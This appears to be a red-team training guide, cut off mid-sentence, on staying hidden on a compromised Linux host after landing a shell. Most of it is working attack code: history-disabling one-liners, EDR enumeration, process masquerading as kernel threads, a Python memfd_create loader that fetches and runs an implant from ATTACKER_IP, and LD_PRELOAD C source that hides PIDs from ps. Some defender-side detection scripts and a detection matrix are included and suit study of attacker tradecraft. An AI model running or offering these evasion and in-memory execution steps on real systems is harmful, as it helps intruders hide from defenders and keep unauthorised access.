1.1a_Linux_Deep_Dive_P1
1.1a Linux Deep Dive — Part 1a: OPSEC Baseline
BLUF: Part 1a covers OPSEC baseline: history management, workspace discipline, logging evasion, and process masquerading. Part 1b: Privilege Escalation covers sudo, SUID, cron, NFS, and kernel CVEs.
Attack Path
graph TD
A["Shell Landed"]
B["OPSEC Baseline
(history, workspace, logging)"]
C["Situational Awareness"]
D{"PrivEsc Vector?"}
E["Sudo"]
F["SUID"]
G["Cron"]
H["Kernel"]
I["NFS"]
J["ROOT"]
K["Loot"]
L["Persist"]
M["Pivot"]
N["Cleanup"]
A --> B
B --> C
C --> D
D -->|Sudo| E
D -->|SUID| F
D -->|Cron| G
D -->|Kernel| H
D -->|NFS| I
E --> J
F --> J
G --> J
H --> J
I --> J
J --> K
J --> L
J --> M
M --> NMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1562.003 | Impair Command History Logging | Defense Evasion | OPSEC Baseline |
| T1548.003 | Sudo and Sudo Caching | Privilege Escalation | Sudo misconfig |
| T1548.001 | Setuid and Setgid | Privilege Escalation | SUID abuse |
| T1053.003 | Cron | Persistence / PrivEsc | Cron hijack |
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation | Kernel CVE |
| T1552.001 | Credentials In Files | Credential Access | Config/env looting |
| T1003.008 | /etc/passwd and /etc/shadow | Credential Access | Shadow dump |
| T1552.007 | Container API / Cloud Metadata | Credential Access | IMDS looting |
| T1543.002 | Systemd Service | Persistence | Service backdoor |
| T1098.004 | SSH Authorized Keys | Persistence | SSH persistence |
| T1070.003 | Clear Command History | Defense Evasion | Cleanup |
| T1070.006 | Timestomp | Defense Evasion | File timestomping |
Section 1 — OPSEC Baseline: Stay Low From First Shell
Before you type a single enumeration command, lock down your trail. Defenders can't catch what isn't logged.
1.1 — Kill History Immediately
The very first commands you run after landing are the most exposed. Do this before anything else.
Stealth One-Liner (Session Kill):
unset HISTORY HISTFILE HISTFILESIZE HISTSIZE && export HISTFILE=/dev/null && export HISTSIZE=0 && set +o history
Step-by-Step Breakdown:
# Stop recording history for THIS SESSION ONLY -- does not touch ~/.bash_history on disk
unset HISTORY HISTFILE HISTFILESIZE HISTSIZE HISTSAVE HISTZONE
export HISTFILE=/dev/null # redirect future writes to /dev/null (a sink)
export HISTSIZE=0 # keep 0 entries in memory
export HISTFILESIZE=0 # allow 0 entries to be written to HISTFILE
# Belt-and-suspenders: disable history list entirely for this shell
set +o history
# Confirm it's dead
echo $HISTFILE # should print /dev/null
history # should show empty or just this command
Why:
HISTFILE=/dev/nullmakes bash write history into a black hole on session exit.
HISTSIZE=0prevents accumulation in RAM.set +o historydisables the history mechanism
entirely. None of these commands touch the existing~/.bash_history— your prior history stays
intact on disk. Only new commands from this session are suppressed.
1.2 — Work in a Volatile Workspace
Never drop tools or write temp files in /tmp if you can avoid it — it's world-readable and often monitored. /dev/shm is memory-backed (tmpfs) and clears on reboot.
# Use /dev/shm as your working directory
cd /dev/shm
# Create a hidden directory with an innocuous name
mkdir .cache && cd .cache
# Alternatively: memory-only workspace using a RAM disk already present
df -h /dev/shm # check available space -- usually half of RAM
ls -la /run/user/$(id -u)/ # per-user tmpfs -- also memory-backed
# When done: wipe it
rm -rf /dev/shm/.cache
Why:
/dev/shmcontents disappear on reboot, leaving nothing on disk for forensics.
World-readable/tmpmeans other users (or monitoring daemons) can see your files. Hidden dirs
(.name) still show withls -labut are missed by carelesslssweeps.
1.3 — Understand What's Logging You
Know what generates log entries before you make them. The key sources defenders use:
| Log Source | Location | What it captures |
|---|---|---|
| auditd | /var/log/audit/audit.log |
Syscalls, file opens, exec, network — extremely detailed if rules are set |
| syslog / rsyslog | /var/log/syslog |
General system events, daemon output |
| auth.log / secure | /var/log/auth.log (Debian), /var/log/secure (RHEL) |
sudo use, su, SSH logins, PAM events |
| bash_history | ~/.bash_history |
Command history (if not cleared) |
| systemd journal | journalctl |
Service starts/stops, unit failures |
| wtmp / utmp / btmp | /var/log/wtmp, /var/run/utmp, /var/log/btmp |
Login/logout records, failed logins |
| lastlog | /var/log/lastlog |
Per-account last login timestamp |
| cron logs | /var/log/cron, /var/log/syslog |
Cron job execution |
| EDR / endpoint agent | Varies — look for Falco, Wazuh, CrowdStrike, SentinelOne | Process creation, file writes, network connections |
# Check if auditd is running -- most dangerous log source
systemctl status auditd 2>/dev/null || service auditd status 2>/dev/null
ps aux | grep auditd
# Check active audit rules (what syscalls/paths are being monitored)
auditctl -l 2>/dev/null # requires root, but try anyway
# Check if an EDR is present
ps aux | grep -iE "falcon|wazuh|crowdstrike|sentinel|carbon|cylance|mdatp|osquery|aide|samhain|tripwire|auditbeat|filebeat"
systemctl list-units --state=active | grep -iE "falcon|wazuh|carbon|sentinel|crowdstrike|elastic|osquery"
ls /opt/ | grep -iE "crowdstrike|falcon|carbon|sentinel|cylance|wazuh"
# Can you read audit logs? (if yes, you know what was captured)
tail -20 /var/log/audit/audit.log 2>/dev/null
1.4 — Low-Noise Shell Techniques
# Execute commands without forking a visible child process (stays in same PID)
exec bash --norc --noprofile
# exec REPLACES the current process image -- no fork, same PID, same open fds
# --norc: skip ~/.bashrc (no alias loading, no prompt customization that leaks env)
# --noprofile: skip /etc/profile and ~/.bash_profile (no PATH modifications)
# GOTCHA on reverse shells: bash without -i flag exits immediately on a non-TTY pipe
# because it detects non-interactive stdin and sees nothing to do
# FIX: exec bash -i --norc --noprofile (-i forces interactive mode over pipe/socket)
exec /bin/sh
# sh is simpler than bash -- no rc file concept, no interactive detection overhead
# sh stays alive on a pipe by default because it doesn't gate on TTY presence
# use this as the fallback when exec bash drops your reverse shell
# Redirect stderr to suppress tool error noise that might land in syslog
./tool 2>/dev/null
# Run commands with a fake process name (basic EDR evasion -- not foolproof)
exec -a "[kworker/0:1]" /bin/bash
# exec -a sets argv[0] only -- comm (task_struct.comm) still shows "bash"
# see section 1.4.1 for full breakdown of what ps actually reads
# Avoid writing to disk entirely -- pipe tool output to grep/awk in memory
curl -s https://example.com/tool | bash # WARNING: noisy -- curl itself is logged
# Better: transfer tool via scp/sftp and execute from /dev/shm
# Unshare from logging namespaces (advanced, requires capabilities)
unshare --user --map-root-user /bin/bash 2>/dev/null # user namespace
# Check your current shell's PID and verify no debugger is attached
echo $ # your shell's PID
cat /proc/$/status | grep -E "TracerPid" # 0 = not being traced
1.4.1 — How ps aux Works (and Why Everything Shows Up)
You can't evade what you don't understand.
pshas no magic — it reads a virtual filesystem any
user can see. Once you know exactly which kernel data structure feeds which output column, you know
exactly what to overwrite.
The Core Mechanic: /proc is a Window Into the Kernel
ps, top, htop, pgrep — none of these have special kernel access. They all do the same thing: enumerate directories under /proc/ and read files the kernel generates on-demand.
/proc is a pseudo-filesystem (type proc, not ext4/xfs/tmpfs). It has no backing storage on disk. When you cat /proc/1234/cmdline
, the kernel's procfs driver dynamically assembles that data from the task struct for PID 1234 in kernel memory and hands it to you. The
file has zero bytes on disk — it exists only as kernel code that responds to read() syscalls.
This means:
- Any user can read
/proc/<PID>/for their own processes - Root can read
/proc/<PID>/for all processes - There is no log entry when you read
/proc— it is completely passive - You cannot "hide" from
/procat the user level without either: (a) modifying the kernel, or (b) hooking the syscalls that read it
# Prove it -- ps is just reading /proc
strace -e trace=openat,read ps aux 2>&1 | grep "/proc"
# You'll see hundreds of: openat(AT_FDCWD, "/proc/1234/stat", O_RDONLY)
# ps is nothing but a loop: opendir(/proc) -> for each PID dir -> read stat/cmdline/status
# The exact files ps reads per process:
# /proc/<PID>/stat -> PID, comm, state, PPID, CPU usage, start time
# /proc/<PID>/statm -> memory usage (RSS, VSZ)
# /proc/<PID>/cmdline -> full command line with all arguments
# /proc/<PID>/status -> human-readable version of stat + UID/GID
Anatomy of /proc/ — Every File That Matters
# `tree /proc/<PID>/`
**cmdline** # NULL-separated argument list: "bash\0-i\0\0"
# ps aux COMMAND column reads this
# YOU CAN CONTROL THIS via argv[0] at exec time
**comm** # short name, max 15 chars, stored in task_struct.comm
# ps -e, top, htop, pgrep all read this
# YOU CAN CONTROL THIS via prctl(PR_SET_NAME) or writing /proc/self/comm
**exe** # symlink → the actual binary path on disk (e.g., /bin/bash)
# resolved via task_struct → mm → exe_file → dentry
# YOU CANNOT FAKE THIS -- it points to the inode, not a string
# BUT: if you delete the file on disk after exec, this dangles
**environ** # NULL-separated env vars at process start
# only readable by same UID (or root)
# contains PATH, LD_PRELOAD, HOME, etc. -- reveals your setup
**maps** # every memory region: [stack], [heap], .so files loaded
# shows which shared libraries are mapped (forensics gold)
# reveals injected .so files, memfd regions, etc.
**status** # Name (=comm), State, Pid, PPid, TracerPid, Uid, Gid, Threads
# TracerPid != 0 means a debugger is attached
**stat** # machine-readable single-line version of status
# this is what ps reads for CPU/memory/start time
**fd/** # one symlink per open file descriptor
# reveals: open sockets (type:port), log files being written,
# pipes, /dev/null, /dev/shm files
# lsof is just iterating this directory
**net/tcp** # all TCP connections this process has (by net namespace)
**net/udp** # all UDP sockets
**task/** # one subdirectory per thread (for multi-threaded processes)
# Hands-on: examine your own shell's full identity
PID=$
echo "=== argv (what ps aux COMMAND shows) ==="
cat /proc/$PID/cmdline | tr '\0' '\n'
# Each null-separated token is one argument
echo "=== comm (what ps -e / top shows) ==="
cat /proc/$PID/comm
# Max 15 chars. Truncated if longer.
echo "=== real binary ==="
ls -la /proc/$PID/exe
# This is ground truth -- you can't lie here without deleting the file
echo "=== parent process ==="
grep PPid /proc/$PID/status
# This is the PPID -- what spawned you. Defenders check this chain.
echo "=== open files and sockets ==="
ls -la /proc/$PID/fd/
# Every open fd. Network connections show as: socket:[inode]
echo "=== loaded libraries ==="
grep "\.so" /proc/$PID/maps
# Every shared library mapped into this process
echo "=== am I being traced? ==="
grep TracerPid /proc/$PID/status
# 0 = clean. Non-zero = strace/gdb/ptrace attached.
What Defenders Actually Look At in ps aux
Understanding the defender's workflow tells you exactly which fields to attack.
# A basic blue team sweep for suspicious processes:
ps aux --forest # shows parent-child tree -- catches webshell->bash chains
ps aux | grep -E "(/tmp|/dev/shm|/var/tmp)" # tools in memory-backed dirs
ps aux | grep -E "(nc |ncat|netcat|socat)" # reverse shell tools
ps aux | grep -iE "(python.+-c|perl.+-e|ruby.+-e)" # one-liner code execution
ps aux | awk '$3 > 50.0' # abnormal CPU -- cryptominer, brute forcer
ps aux Column |
Source in /proc |
Defender Use | Attack Surface |
|---|---|---|---|
USER |
/proc/<PID>/status Uid field |
Is root running something unusual? | Can't fake UID without actual privesc |
PID |
Directory name /proc/<PID>/ |
Enumerate children of web server | Can't change PID — it's assigned by kernel |
%CPU / %MEM |
/proc/<PID>/stat fields 14,15,23,24 |
Spike detection | Stay below threshold; don't loop-scan |
VSZ / RSS |
/proc/<PID>/statm |
Large anonymous mappings | Use minimal memory; avoid huge heap |
STAT |
/proc/<PID>/stat field 3 |
S=sleeping, R=running, D=disk wait, Z=zombie |
Normal beacon is S (sleeping) — fine |
START |
/proc/<PID>/stat field 22 (starttime) |
Processes started at 3am stand out | Run during business hours if possible |
TTY |
/proc/<PID>/stat field 7 |
? = no terminal (daemon/background) |
Background processes show ? — normal |
COMMAND |
/proc/<PID>/cmdline |
Name matching, arg scanning | This is the main attack surface |
Level 1 — Fake the Process Name (argv[0])
Every process carries argv[] — the argument vector passed to main(). argv[0] is conventionally the program name. The kernel copies
this into /proc/<PID>/cmdline and it is what ps aux shows in the COMMAND column.
Critical insight: argv[0] is just a string in user-space memory. The kernel doesn't validate it against the actual binary path. You can put anything there.
# exec -a <name> <binary> -- sets argv[0] to <name> at exec time
# The kernel copies argv[0] into the new process's cmdline memory region
exec -a "[kworker/0:1H]" /bin/bash
# ps aux now shows:
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 1337 0.0 0.1 5432 2048 ? S 10:00 0:00 [kworker/0:1H]
# <-- indistinguishable from a real kernel worker thread in a casual check
# RECON FIRST: match names that already exist on this specific target
# Real kernel thread names follow a pattern: [type/cpu:priority]
ps aux | awk '{print $11}' | grep "^\[" | sort -u
# Output on a 4-core system might show:
# [kworker/0:0H]
# [kworker/0:1H]
# [kworker/1:0]
# [kworker/u8:1]
# [migration/0]
# [kthreadd]
# -> pick a number/cpu combo that already exists OR one that's plausible
# Other convincing masquerades depending on what's running:
exec -a "sshd: root@pts/1" /bin/bash # looks like an active SSH session
exec -a "/usr/sbin/sshd -D" /bin/bash # looks like the main sshd listener
exec -a "/usr/sbin/cron -f" /bin/bash # looks like cron in foreground mode
exec -a "-bash" /bin/bash # leading dash = login shell (normal)
exec -a "python3 /usr/bin/xxx" ./tool # legitimate-looking script runner
exec -a "(sd-pam)" /bin/bash # PAM systemd helper -- common, ignored
# For non-bash tools (compiled implants), exec -a works the same way:
exec -a "systemd-udevd" ./implant # looks like udev daemon
exec -a "/usr/lib/systemd/systemd --user" ./implant # looks like user systemd
# Check: what does ps show now?
ps aux | grep "kworker/0:1H" # should show your shell
cat /proc/$/cmdline | tr '\0' ' ' # raw cmdline -- shows your fake name
Why this works: exec() syscalls take the argv array directly from user space and store it in the new process's memory. The kernel
only uses argv[0] to fill cmdline — it never cross-checks it against the exe symlink path.
Why it fails against forensics: argv[0] only changes cmdline. The exe symlink ( /proc/<PID>/exe) still points to the real
binary — /bin/bash. Any script that does ls -la /proc/*/exe | grep bash will find you even if your name looks like a kernel thread.
Level 2 — Change the Kernel comm Name (prctl)
cmdline and comm are two separate kernel fields stored in different places.
cmdline= the full argument vector, stored in the process's user-space stack memory.ps auxreads this.comm= a 16-byte field (task_struct.comm) stored in the kernel's task struct.ps -e,top,htop,pgrep,killallall read this.
Changing only argv[0] leaves comm pointing to the original binary name. An IR script using pgrep bash or ps -eo comm will still find you.
# --- Method 1: Write directly to /proc/self/comm (Linux 3.8+, simplest) ---
# The kernel allows a process to write its own comm field through this interface
echo -n "kworker/0:1H" > /proc/self/comm
# Note: -n is critical -- a trailing newline would be included in the name
# Verify both fields now match:
cat /proc/$/comm # reads task_struct.comm -> kworker/0:1H
ps -p $ -o comm= # same field, ps format -> kworker/0:1H
ps aux | grep $ # COMMAND column (cmdline) should also match
# If you did exec -a + wrote /proc/self/comm, both fields are consistent [Y]
# --- Method 2: prctl(PR_SET_NAME) from C ---
# This is the proper syscall interface. PR_SET_NAME = 15.
# Truncates to 15 chars (the 16th byte is always null terminator).
#
# #include <sys/prctl.h>
# prctl(PR_SET_NAME, "kworker/0:1H", 0, 0, 0);
#
# Internally this writes to current->comm in the kernel task struct.
# The change is immediately visible in /proc/<PID>/comm and in ps output.
# --- Method 3: From Python (no dependencies) ---
# ctypes lets us call libc functions directly without any import
python3 -c "
import ctypes
# PR_SET_NAME = 15 (from <sys/prctl.h>)
# The string must be bytes, max 15 chars + null
libc = ctypes.CDLL(None) # None = load the currently loaded libc
libc.prctl(15, b'kworker/0:1H', 0, 0, 0)
import time
time.sleep(9999) # keep alive to verify in ps
"
# In another terminal: ps aux | grep kworker -> shows python3 with comm kworker/0:1H
# --- Method 4: From Rust (for custom implants) ---
# extern crate libc;
# unsafe { libc::prctlPR_SET_NAME, b"kworker/0:1H\0".as_ptr(), 0, 0, 0; }
# --- Method 5: From Go (for Sliver custom builds / Thanatos) ---
# import "golang.org/x/sys/unix"
# name := [16]byte{}
# copy(name[:], "kworker/0:1H")
# unix.Prctl(unix.PR_SET_NAME, uintptr(unsafe.Pointer(&name[0])), 0, 0, 0)
# --- Consistency check: both fields must match ---
# A process with mismatched cmdline vs comm is a forensic red flag:
# cmdline says: [kworker/0:1H] (from exec -a)
# comm says: bash (original, not changed)
# -> Any IR script doing: ps -eo pid,comm,args | grep -v "^comm matches args"
# will catch the mismatch immediately.
#
# ALWAYS change both. exec -a changes cmdline. prctl/proc/self/comm changes comm.
Level 3 — Masquerade as a Kernel Thread (Full Technique)
Real kernel threads have three distinguishing properties:
- They appear with brackets in ps:
[kworker/0:1H] - They are owned by root (UID 0)
/proc/<PID>/exeis empty — kernel threads have no userland binary
A userland process faking a kernel thread name will fail check #3: its /proc/<PID>/exe still points to /bin/bash or wherever the binary is. Any competent IR script checks this:
# IR script to find fake kernel threads (defenders use this):
for pid in /proc/[0-9]*/; do
name=$(cat "$pid/comm" 2>/dev/null)
exe=$(readlink "$pid/exe" 2>/dev/null)
# Real kernel threads have no exe. If name looks like [kworker] but has exe -> suspicious
if [[ "$name" == kworker* ]] && [[ -n "$exe" ]]; then
echo "SUSPICIOUS: PID ${pid##*/proc/} comm=$name exe=$exe"
fi
done
The countermeasure: delete the binary on disk after exec. Linux uses inode reference counting — a file is only truly deleted when its
link count AND open file descriptor count both reach zero. When you exec a binary, the kernel holds a reference to its inode via mm->exe_file
. When you rm the file, the directory entry disappears, but the inode stays alive because the running process holds a reference. The exe
symlink now dangles — it points to a deleted path.
# Full kernel thread masquerade -- step by step
# Step 1: recon -- what kernel threads exist on this target?
ps aux | awk '$1=="root" && $11~/^\[/ {print $11}' | sort -u
# Pick a thread name that fits the CPU count (e.g., /0: on a 4-core = plausible)
# kworker/0:1H -- cpu 0, worker 1, high-priority (H suffix)
# kworker/u8:2 -- unbound worker pool (u), pool 8, worker 2
# Step 2: copy bash to /dev/shm (memory-backed tmpfs, disappears on reboot)
# /dev/shm is a tmpfs -- reads/writes go to RAM, not to any physical disk
# inode for the copy is on tmpfs, not on ext4/xfs where disk forensics look
cp /bin/bash /dev/shm/.kwork
# Step 3: exec with fake argv[0], using -p to preserve UID (important if setuid)
# exec replaces the current process image -- same PID, new binary
# -p: bash's "privileged" flag -- skips .bashrc, preserves EUID
exec -a "[kworker/0:1H]" /dev/shm/.kwork -p
# Step 4: delete the file on disk immediately after exec
# The binary is now loaded into memory (text segment). The file's inode still
# exists (held by mm->exe_file), but the directory entry is gone.
# rm removes the dentry (name->inode mapping), not the inode itself.
rm -f /dev/shm/.kwork
# Step 5: change the comm field to match
echo -n "kworker/0:1H" > /proc/self/comm
# Step 6: verify the masquerade
cat /proc/$/comm # -> kworker/0:1H [Y] comm matches
cat /proc/$/cmdline | tr '\0' ' ' # -> [kworker/0:1H] [Y] cmdline matches
ls -la /proc/$/exe 2>&1
# -> lrwxrwxrwx 1 root root 0 ... /proc/1337/exe -> '/dev/shm/.kwork (deleted)'
# The "(deleted)" tag appears because the dentry is gone.
# This is the best you can do without kernel modification.
# A real kworker shows: /proc/<PID>/exe -> '' (empty, no binary at all)
# Step 7: check the parent chain -- this is still suspicious
# Your "kernel thread" has PPID = your original shell. Real kworkers have PPID=2 (kthreadd).
grep PPid /proc/$/status # -> still your original shell's PID
# There is no user-space way to change PPID. It's set by the kernel on fork().
Residual forensic indicators even after full masquerade:
/proc/<PID>/exeshows(deleted)instead of being empty — real kworkers have no exe at all- PPID is your shell, not
2(kthreadd) — real kernel threads are all children of kthreadd /proc/<PID>/mapsshows[stack],[heap],.bashrcpaths — kernel threads have no heap/stack in the user-space sensestat /proc/<PID>/statusshows a non-zero start time after boot that matches your activity window
Level 4 — Execute Entirely from Memory (memfd_create)
memfd_create() is a Linux syscall (introduced in kernel 3.17) that creates an anonymous file backed only by RAM — no filesystem
path, no inode on any disk-backed FS, no directory entry anywhere. The kernel assigns it a file descriptor and nothing else.
You can write a full ELF binary into this fd and then execfd() (or exec("/proc/self/fd/<N>")) it. The running process's /proc/<PID>/exe
symlink will point to /memfd:<name> — an anonymous mapping, not a real file path.
# The full memfd_create technique in Python -- no disk write at any point
python3 << 'EOF'
import ctypes, os, sys, urllib.request
# -- Step 1: Download the binary into a Python bytes object in heap memory --
# urllib.request.urlopen reads the entire response into memory.
# At no point is any byte written to the filesystem.
# Use HTTPS in production -- plain HTTP exposes your payload to network inspection.
url = "http://ATTACKER_IP/implant"
try:
data = urllib.request.urlopen(url).read()
except Exception as e:
sys.exit(f"download failed: {e}")
# -- Step 2: Create an anonymous memory-backed file descriptor --
# memfd_create(name, flags)
# name: a label for the fd -- appears as /proc/self/fd/<N> -> /memfd:<name>
# this name is visible in /proc/<PID>/exe and /proc/<PID>/maps
# use an innocent-looking name (empty string or "mem" are both valid)
# flags: MFD_CLOEXEC = 1 -- close on exec (prevents fd leaking to children)
# MFD_ALLOW_SEALING = 2 -- allow fcntl sealing (optional)
libc = ctypes.CDLL(None)
memfd = libc.memfd_create(b"", 1) # flag=1 = MFD_CLOEXEC
# memfd is now a file descriptor number (e.g., 3)
# /proc/self/fd/3 -> /memfd: (anonymous, no path on any filesystem)
if memfd < 0:
sys.exit("memfd_create failed -- kernel < 3.17 or seccomp blocks it")
# -- Step 3: Write the ELF binary into the memory fd --
# os.write() calls the write() syscall on the fd.
# The kernel writes the data into pagecache pages backing the memfd.
# Nothing touches disk. The pages live in RAM until the fd is closed.
os.write(memfd, data)
# -- Step 4: Seek back to the beginning (exec reads from offset 0) --
os.lseek(memfd, 0, os.SEEK_SET)
# -- Step 5: execv the binary via its /proc/self/fd/<N> path --
# The kernel's execve() can take any file path -- including /proc/self/fd/<N>.
# It will find the memfd, load the ELF, and replace this process image.
# argv[0] is set to our fake name -> COMMAND column shows "kworker/0:1H"
exe_path = f"/proc/self/fd/{memfd}"
os.execv(exe_path, ["kworker/0:1H"]) # argv[0] = fake name, never returns
EOF
# What ps sees after exec:
# USER PID COMMAND
# root 1337 kworker/0:1H
#
# What /proc/<PID>/exe shows:
# /proc/1337/exe -> /memfd: (deleted)
# <-- "memfd:" prefix reveals it's an anonymous mapping -- EDRs flag this
# <-- but no disk artifact, no filename, no inode on any real filesystem
# -- Alternative: shared library approach --
# Compile your tool as a shared object (.so) instead of an ELF executable.
# Load it via Python's ctypes -- the host process (python3) is the one in ps.
# Your tool's code runs inside python3's address space.
# /proc/<PID>/maps will show the .so path (if it's on disk) -- use memfd for the .so too.
# Compile as .so:
# gcc -shared -fPIC -o /dev/shm/.lib.so tool.c -nostartfiles
# Run:
python3 -c "
import ctypes
# Load the .so -- kernel calls the constructor (_init or __attribute__((constructor)))
# Your payload runs immediately on dlopen, inside the python3 process
lib = ctypes.CDLL('/dev/shm/.lib.so')
# ps shows: python3 <-- no trace of your tool name
"
Why this still has tells:
/proc/<PID>/exe->/memfd:— this prefix is unusual. Real processes have a real path. Modern EDRs (Falco, Wazuh with auditd) alert onexecvewhere the executable path containsmemfd.auditd EXECVErule fires at the moment ofexecv()regardless of source — it logs the fd path, which includes "memfd"./proc/<PID>/mapsshows00400000-... r-xp /memfd:— memory scanner reads this.
Level 5 — Short-Lived Processes (Time-Based Evasion)
ps aux is a point-in-time snapshot. It shows what is running at the exact millisecond you run it. A process that exits before a defender checks ps is invisible to them.
# -- Concept: the detection window --
# A defender manually running ps every few minutes catches only persistent processes.
# A process that lives for 0.5 seconds and exits is missed by manual checks.
# BUT: automated tools like pspy, auditd, and Falco run continuously -- they catch everything.
# -- Short-lived enumeration --
# Run linpeas, capture to file, have it exit immediately -- by the time anyone looks, it's gone
/dev/shm/.ls > /dev/shm/.out 2>/dev/null &
# The & sends it to background. It runs, finishes in ~30 seconds, disappears.
# ps snapshot a minute later shows nothing.
# -- C2 beacon with long sleep (most effective) --
# A Sliver beacon sleeping 300s+45% jitter:
# - Wakes up, does a ~200ms HTTP check-in, goes back to sleep
# - In 24 hours, it is visibly alive for roughly 96 x 0.2s = ~19 seconds total
# - Probability of catching it in a random ps check: 19s / 86400s = 0.02%
# The process itself stays in the process table the whole time (it's sleeping, STAT=S)
# but its CPU usage is 0.0% and its name can be masqueraded
sliver > sleep 300s 45 # 300 seconds base, 45% jitter = 165-435s actual interval
# -- Thread-based evasion --
# Spawn a thread for the active work, have the main process look idle.
# ps shows the main process (with fake name). The worker thread does the real work.
# Threads share the same PID -- only one entry in ps.
# Thread names can also be changed per-thread via prctl(PR_SET_NAME) in each thread.
# -- Checking if pspy is running (before you assume short-lived is safe) --
# pspy reads /proc/<PID>/stat and /proc/<PID>/cmdline on every new PID it discovers
# by inotify-watching /proc itself for new directory creation events.
# If pspy is running, it WILL catch short-lived processes.
ps aux | grep -v grep | grep pspy # obvious check
ls /proc/*/exe 2>/dev/null | xargs -I{} readlink {} | grep pspy # stealthier
# Also check for process monitors using inotify on /proc:
# Any process with an open inotify fd watching /proc is likely a process monitor
find /proc/*/fd -lname "inotify" 2>/dev/null | head # -> /proc/<pspy-PID>/fd/N
Level 6 — Hook the Readdir Syscall (LD_PRELOAD Process Hiding)
This is the technique rootkits use. Instead of hiding your process name, you hide the PID directory from /proc entirely — ps never sees the process because it can't enumerate the directory entry.
# -- How it works --
# ps enumerates /proc/ by calling getdents64() (get directory entries).
# The kernel returns a list of directory names (PIDs as strings).
# If you hook getdents64() via LD_PRELOAD, you can filter out specific PIDs
# from the results -- ps never sees them.
# -- The hook (C source) --
# Save as /dev/shm/hide.c
cat > /dev/shm/hide.c << 'EOF'
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
// The PID to hide -- set via environment variable HIDE_PID
// This avoids hardcoding a PID that changes every run
// Hook readdir() -- called by ps when iterating /proc
struct dirent *readdir(DIR *dirp) {
// Get the real readdir from libc
struct dirent *(*real_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
struct dirent *entry;
char *hide_pid = getenv("HIDE_PID"); // PID to conceal, from environment
while ((entry = real_readdir(dirp)) != NULL) {
// If this directory entry's name matches our target PID, skip it
// ps will never see this PID in the /proc listing
if (hide_pid && strcmp(entry->d_name, hide_pid) == 0)
continue; // swallow this entry -- it never reaches ps
break; // return all other entries normally
}
return entry;
}
EOF
# -- Compile as a shared library --
gcc -shared -fPIC -nostartfiles -o /dev/shm/hide.so /dev/shm/hide.c -ldl
# -- Apply to your shell session --
export LD_PRELOAD=/dev/shm/hide.so
export HIDE_PID=$ # hide the current shell's PID
# -- Verify --
ps aux | grep $ # your PID is gone from ps output
ls /proc/$ # BUT: /proc/<PID>/ still exists -- direct access still works
# This only hides from tools that use readdir() to enumerate /proc
# -- Limitations --
# 1. Only hides from processes that inherit your LD_PRELOAD environment.
# If a defender opens a new shell (no inherited env), they see your process normally.
# 2. Direct /proc/<PID>/ access still works -- 'cat /proc/1337/cmdline' still works.
# 3. Kernel-level tools (auditd, eBPF-based EDRs) bypass libc entirely -- they
# call getdents64() via syscall instruction, not via libc, so the hook is bypassed.
# 4. setuid binaries (like su, sudo) ignore LD_PRELOAD for security reasons.
# A defender running 'sudo ps aux' gets the unhooked view.
# 5. This technique is noisy in /proc/<self>/maps -- the .so path appears there.
Putting It All Together — Operational Stealthy Shell
# -- Objective: land a persistent shell that survives casual ps checks,
# blends into the process list, and leaves minimal /proc forensic evidence --
# Step 1: identify the target environment BEFORE doing anything
# Know what names are plausible. Don't pretend to be kworker/0:1H on a 1-core VM.
ps aux | awk '$11~/^\[/' | sort -u # list all kernel thread names
ps aux | grep "sshd:" # what SSH session names look like
ps aux | grep cron # whether cron is running and its format
uname -r # kernel version -- affects available techniques
cat /proc/version # same
# Step 2: copy your shell to memory-backed storage
# /dev/shm = tmpfs -- lives in RAM, survives only until reboot, no disk forensics
cp /bin/bash /dev/shm/.x
# Why not /tmp? /tmp is often a real filesystem (ext4) -- survives reboots, shows in fs forensics
# Step 3: exec with matching fake name
# -p: "privileged" mode -- don't read .bashrc/.profile (less noise), preserve effective UID
exec -a "[kworker/0:1H]" /dev/shm/.x -p
# Step 4: immediately delete the on-disk copy
# The inode stays alive (kernel holds exe reference), dentry (name) is gone
# /proc/<PID>/exe will show "(deleted)" -- imperfect but better than a live path
rm -f /dev/shm/.x
# Step 5: rename the kernel comm field
# Without this, 'top', 'pgrep bash', 'killall bash' still finds you
echo -n "kworker/0:1H" > /proc/self/comm
# Step 6: suppress future history
unset HISTFILE
export HISTSIZE=0
# Step 7: verify the full picture
echo "== PID =="
echo $
echo "== cmdline (COMMAND in ps aux) =="
cat /proc/$/cmdline | tr '\0' ' '
# Expected: [kworker/0:1H] -p
echo "== comm (shown in top/pgrep/ps -e) =="
cat /proc/$/comm
# Expected: kworker/0:1H (max 15 chars, no brackets -- stored without them)
echo "== exe symlink =="
ls -la /proc/$/exe 2>&1
# Expected: ... /proc/<PID>/exe -> '/dev/shm/.x (deleted)'
# Real kworker would show nothing. This is the main residual tell.
echo "== parent chain =="
grep -E "^(Pid|PPid)" /proc/$/status
# PPid still points to your parent shell. Real kworkers have PPid=2 (kthreadd).
# This is unfixable from userland.
echo "== is pspy watching? =="
find /proc/*/fd -lname "inotify" 2>/dev/null | grep -v "^$" | wc -l
# If > 0, something is monitoring /proc with inotify -- adjust behavior
Detection Matrix — What Each Blue Team Tool Sees
| Your Technique | Manual ps aux |
pspy64 |
auditd execve |
EDR (Falco/Wazuh) | Direct /proc check |
|---|---|---|---|---|---|
| Fake argv[0] only | Hidden | [Y] Still caught (reads cmdline) | Caught at exec | Caught | [N] exe reveals truth |
| + fake comm (prctl) | Hidden | Caught | Caught | Caught | [N] exe reveals truth |
| + deleted binary | Hidden | Caught | Caught | Caught | [~] exe shows (deleted) |
| memfd_create exec | Hidden | Caught | Caught (logs memfd path) | Caught (memfd pattern) | [~] exe -> /memfd: |
| LD_PRELOAD hook | Hidden | Caught (raw syscall) | Caught | Caught | [Y] Direct /proc works |
| Long-sleep beacon | Hidden (sleeping) | Caught on start | Caught once at exec | Caught at exec | [Y] Process still there |
| All combined | Hidden | Caught | Caught | Caught | [~] Partial |
The hard truth: there is no userland technique that defeats auditd with execve logging enabled. Every execve() syscall
generates a log entry regardless of what the process calls itself. The only way to defeat kernel-level monitoring is to operate at the
kernel level (rootkit/BYOVD) or avoid execve entirely (inject into existing process, use LD_PRELOAD .so constructor, use memfd +
shell built-ins).
Operational guidance: Use process masquerading as noise reduction against SIEM rules and manual
